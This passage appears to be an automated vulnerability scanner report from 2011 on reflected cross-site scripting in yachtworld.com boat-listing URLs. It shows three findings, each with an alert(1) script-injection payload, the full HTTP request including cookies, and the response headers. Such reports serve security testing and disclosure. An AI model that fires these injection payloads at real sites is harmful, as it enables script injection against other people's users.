Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7c2f"><script>alert(1)</script>22176e24a46 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-Center-Console-2305157/Wilmingtone7c2f"><script>alert(1)</script>22176e24a46/NC/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:58 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 03:06:03 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:57 GMT Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fad86"><script>alert(1)</script>1a4dcae2003 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-Center-Console-2305157/Wilmington/NCfad86"><script>alert(1)</script>1a4dcae2003/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:24 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 03:06:03 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:23 GMT Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 833dd"><script>alert(1)</script>f4cd42b8d3c was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-Center-Console-2305157/Wilmington/NC/United-States833dd"><script>alert(1)</script>f4cd42b8d3c HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:44 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 03:06:03 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:44 GMT Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%